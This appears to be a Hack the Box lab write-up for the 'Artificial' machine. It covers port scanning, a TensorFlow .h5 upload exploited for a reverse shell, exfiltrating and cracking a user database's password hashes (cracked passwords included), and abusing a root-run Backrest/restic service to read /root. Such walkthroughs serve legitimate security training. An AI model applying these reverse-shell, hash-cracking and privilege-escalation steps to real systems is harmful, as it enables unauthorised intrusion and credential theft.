Post

Artificial Easy Machine - Hack the Box

Easy-level Linux machine from Season 8.

Artificial Easy Machine - Hack the Box

Information

Artificial Machine is an easy-level Linux machine from Season 8.

Tools

  • nmap
  • netcat
  • hashcat

Step by step

  1. Nmap scan
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    
     nmap -A -p- -T4 -P0 -v -oX artificial_tcp.scan 10.10.11.74 --webxml
    
     PORT   STATE SERVICE VERSION
     22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
     | ssh-hostkey:
     |   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
     |   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
     |_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
     80/tcp open  http    nginx 1.18.0 (Ubuntu)
     |_http-title: Did not follow redirect to http://artificial.htb/
     | http-methods:
     |_  Supported Methods: GET HEAD POST OPTIONS
     |_http-server-header: nginx/1.18.0 (Ubuntu)
     No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
     TCP/IP fingerprint:
     OS:SCAN(V=7.94SVN%E=4%D=6/26%OT=22%CT=1%CU=41443%PV=Y%DS=3%DC=T%G=Y%TM=685D
     OS:5919%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
     OS:OPS(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552
     OS:ST11NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
     OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
     OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
     OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
     OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
     OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=208%RUD=G)IE(R=Y%DFI=N%T=
     OS:40%CD=S)
    
     Uptime guess: 25.866 days (since Sat May 31 14:41:02 2025)
     Network Distance: 3 hops
     TCP Sequence Prediction: Difficulty=265 (Good luck!)
     IP ID Sequence Generation: All zeros
     Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    Adding artificial.htb to /etc/hosts

  2. After browsing the site and registering, we notice a functionality to upload .h5 files.
    The upload page provides instructions and a requirements.txt indicating the use of TensorFlow.
    After researching vulnerabilities, we find this exploit: Tensor Flow RCE
    We clone the repo, edit the exploit.py script to include our IP and a listening port, and prepare for a reverse shell:
    1
    
    nc -lvnp 4444
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    $ ls
     app.py
     instance
     models
     __pycache__
     static
     templates
     $ ls -la
     total 36
     drwxrwxr-x 7 app app 4096 Jun  9 13:56 .
     drwxr-x--- 6 app app 4096 Jun  9 10:52 ..
     -rw-rw-r-- 1 app app 7846 Jun  9 13:54 app.py
     drwxr-xr-x 2 app app 4096 Jun 27 16:45 instance
     drwxrwxr-x 2 app app 4096 Jun 27 16:45 models
     drwxr-xr-x 2 app app 4096 Jun  9 13:55 __pycache__
     drwxrwxr-x 4 app app 4096 Jun  9 13:57 static
     drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates
     $ cd instance
     $ ls -la
     total 32
     drwxr-xr-x 2 app app  4096 Jun 27 16:45 .
     drwxrwxr-x 7 app app  4096 Jun  9 13:56 ..
     -rw-r--r-- 1 app app 24576 Jun 27 16:45 users.db
    
  3. Inside the machine we may notice that we are login as app and there is no user.txt file. Looking the content of /home folder and/or /etc/passwd/ we should see the user gael and this seems to be the user we need.
    In the home folder of the user app, we can see an users.db SQLite3 file that we can explore and dump it’s information.
    Since the reverse shell is unstable, we decide to exfiltrate the users.db file for offline analysis. One simple method is to base64-encode it:
    1
    
    base64 users.db
    
    1
    
    echo "base64" | base64 -d > users.db
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    
     SQLite version 3.46.1 2024-08-13 09:16:08
     Enter ".help" for usage hints.
     sqlite> .dump
     PRAGMA foreign_keys=OFF;
     BEGIN TRANSACTION;
     CREATE TABLE user (
             id INTEGER NOT NULL, 
             username VARCHAR(100) NOT NULL, 
             email VARCHAR(120) NOT NULL, 
             password VARCHAR(200) NOT NULL, 
             PRIMARY KEY (id), 
             UNIQUE (username), 
             UNIQUE (email)
     );
     INSERT INTO user VALUES(1,'gael','gael@artificial.htb','c99175974b6e192936d97224638a34f8');
     INSERT INTO user VALUES(2,'mark','mark@artificial.htb','0f3d8c76530022670f1c6029eed09ccb');
     INSERT INTO user VALUES(3,'robert','robert@artificial.htb','b606c5f5136170f15444251665638b36');
     INSERT INTO user VALUES(4,'royer','royer@artificial.htb','bc25b1f80f544c0ab451c02a3dca9fc6');
     INSERT INTO user VALUES(5,'mary','mary@artificial.htb','bf041041e57f1aff3be7ea1abd6129d0');
     INSERT INTO user VALUES(6,'admin','admin@gmail.com','21232f297a57a5a743894a0e4a801fc3');
     INSERT INTO user VALUES(7,'abc','abc@gmail.com','900150983cd24fb0d6963f7d28e17f72');
     INSERT INTO user VALUES(8,'test','test@test.com','098f6bcd4621d373cade4e832627b4f6');
     INSERT INTO user VALUES(9,'username','email@gmail.com','1a1dc91c907325c69271ddf0c944bc72');
     INSERT INTO user VALUES(10,'test2','test@test','81dc9bdb52d04dc20036dbd8313ed055');
     INSERT INTO user VALUES(11,'register','register@gmail.com','9de4a97425678c5b1288aa70c1669a64');
     INSERT INTO user VALUES(12,'user','user@gmail.com','ee11cbb19052e40b07aac0ca060c23ee');
     CREATE TABLE model (
             id VARCHAR(36) NOT NULL, 
             filename VARCHAR(120) NOT NULL, 
             user_id INTEGER NOT NULL, 
             PRIMARY KEY (id), 
             FOREIGN KEY(user_id) REFERENCES user (id)
     );
     INSERT INTO model VALUES('11310a1c-0d21-410e-84c6-cdc6c374185f','11310a1c-0d21-410e-84c6-cdc6c374185f.h5',1);
     INSERT INTO model VALUES('7c9cc769-2135-4e44-99cc-a63d3ff88ece','7c9cc769-2135-4e44-99cc-a63d3ff88ece.h5',7);
     INSERT INTO model VALUES('1f60ad02-fb16-4d2a-a7c0-ee6cd4a22ffe','1f60ad02-fb16-4d2a-a7c0-ee6cd4a22ffe.h5',8);
     INSERT INTO model VALUES('b6842aa6-f11d-4d98-a846-c9255b7e3daf','b6842aa6-f11d-4d98-a846-c9255b7e3daf.h5',10);
     INSERT INTO model VALUES('b795379e-d3fb-4389-ade3-d85804f67408','b795379e-d3fb-4389-ade3-d85804f67408.h5',10);
     INSERT INTO model VALUES('0ce76918-c9e8-46d2-ac27-1b8851a91740','0ce76918-c9e8-46d2-ac27-1b8851a91740.h5',8);
     INSERT INTO model VALUES('2bbfb7f5-d6bf-4c08-a25b-8c99c23a70eb','2bbfb7f5-d6bf-4c08-a25b-8c99c23a70eb.h5',10);
     INSERT INTO model VALUES('fa5931fd-f706-43b1-9b9e-987b3428e452','fa5931fd-f706-43b1-9b9e-987b3428e452.h5',8);
     INSERT INTO model VALUES('e8fbdb58-db25-4937-ae2a-316e671aa335','e8fbdb58-db25-4937-ae2a-316e671aa335.h5',10);
     COMMIT;
    
  4. With the gael hash we can proceed to attempt to crack it with hashcat:
    1
    
    hashcat c99175974b6e192936d97224638a34f8 rockyou.txt
    
    1
    
    c99175974b6e192936d97224638a34f8:mattp005numbertwo
    
  5. Now that we have “valid” credentials, we log in via SSH:
    1
    
    ssh gael@artificial.htb
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
     gael@artificial:~$ ls -la
     total 32
     drwxr-x--- 4 gael gael 4096 Jun  9 08:53 .
     drwxr-xr-x 4 root root 4096 Jun 18 13:19 ..
     lrwxrwxrwx 1 root root    9 Oct 19  2024 .bash_history -> /dev/null
     -rw-r--r-- 1 gael gael  220 Feb 25  2020 .bash_logout
     -rw-r--r-- 1 gael gael 3771 Feb 25  2020 .bashrc
     drwx------ 2 gael gael 4096 Sep  7  2024 .cache
     -rw-r--r-- 1 gael gael  807 Feb 25  2020 .profile
     lrwxrwxrwx 1 root root    9 Oct 19  2024 .python_history -> /dev/null
     lrwxrwxrwx 1 root root    9 Oct 19  2024 .sqlite_history -> /dev/null
     drwx------ 2 gael gael 4096 Sep  7  2024 .ssh
     -rw-r----- 1 root gael   33 Jun 27 16:27 user.txt
    

:trophy: USER FLAG PWNED :trophy:

Now that we are inside as gael, we begin our standard enumeration: checking for interesting files, services, ports, and configurations.

  1. After some research, we should find the port 9898 listening locally.
    We forward this port to our machine so we can access it through a browser:
    1
    
    ssh -L 9898:localhost:9898 gael@artificial.htb
    

    backrest

  2. This website is for Backrest service and we try our known credentials but they don’t work. So we continue looking for more.
    Exploring the filesystem we find two key locations: /opt/backrest and /var/backups.
    Inside the /opt/backrest we don’t have permissions to read the config files and seems there is none that we can do here.
    However, there is a Backrest service backup located in /var/backups. We can start from here.
    1
    
    tar xvf /var/backups/backrest_backup.tar.gz -C /tmp/
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
     gael@artificial:/tmp/backrest$ ls -la
     total 51092
     drwxr-xr-x  5 gael gael     4096 Mar  4 22:17 .
     drwxrwxrwt 12 root root     4096 Jun 27 16:54 ..
     -rwxr-xr-x  1 gael gael 25690264 Feb 16 19:38 backrest
     drwxr-xr-x  3 gael gael     4096 Mar  3 21:27 .config
     -rwxr-xr-x  1 gael gael     3025 Mar  3 04:28 install.sh
     -rw-------  1 gael gael       64 Mar  3 21:18 jwt-secret
     -rw-r--r--  1 gael gael    57344 Mar  4 22:13 oplog.sqlite
     -rw-------  1 gael gael        0 Mar  3 21:18 oplog.sqlite.lock
     -rw-r--r--  1 gael gael    32768 Mar  4 22:17 oplog.sqlite-shm
     -rw-r--r--  1 gael gael        0 Mar  4 22:17 oplog.sqlite-wal
     drwxr-xr-x  2 gael gael     4096 Mar  3 21:18 processlogs
     -rwxr-xr-x  1 gael gael 26501272 Mar  3 04:28 restic
     drwxr-xr-x  3 gael gael     4096 Mar  4 22:17 tasklogs
    

    Now, we can read the content of the file config.json and obtain new information.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
    {
     "modno": 2,
     "version": 4,
     "instance": "Artificial",
     "auth": {
         "disabled": false,
         "users": [
         {
             "name": "backrest_root",
             "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
         }
         ]
     }
     }
    
  3. The password is base64 encoded and encrypted with Bcrypt.
    First, we need to decode the hash:
    1
    2
    
    echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
    $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
    

    Then, we can proceed attempt to crack it:

    1
    
    hashcat hash rockyou.txt
    
    1
    
    $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
    

    Using the new credentials we can finally log in to the Backrest website.

  4. From our previous research, we already knew that this service is running as root, if we have the possibility to run commands or read files inside Backrest, we won.
    On the menu we can create new repositories. The fields doesnt seems to be relevant at the moment so we can just add basic things to start our testing.
    restic
    Backrest integrates restic, a backup utility that allows us to:
    • Backup arbitrary folders
    • Restore backups to arbitrary locations
    • Dump contents of backups to stdout

    If we try to back up files that gael doesn’t have permission to access and then restore them to a different location, we’ll likely still be unable to read them due to unchanged file permissions.
    A better approach is to back up a sensitive directory (like /root) and use the dump feature to display the content of a specific file (e.g., root.txt) directly in the browser via stdout.
    This is the method that ultimately allowed us to retrieve the root flag. Then, inside our new repository we can execute commands:
    commands

    • First, make a backup of /root folder: backup /root
    • Second, dump the file we want to read (or all the content of the backup): dump latest /root/root.txt
    • Finally, we should see the root flag directly in the output window.

:trophy: ROOT FLAG PWNED :trophy:

There might be other ways to “escalate privileges”, but abusing Backrest’s Restic dumping functionality proved to be the most straightforward.

This post is licensed under CC BY 4.0 by the author.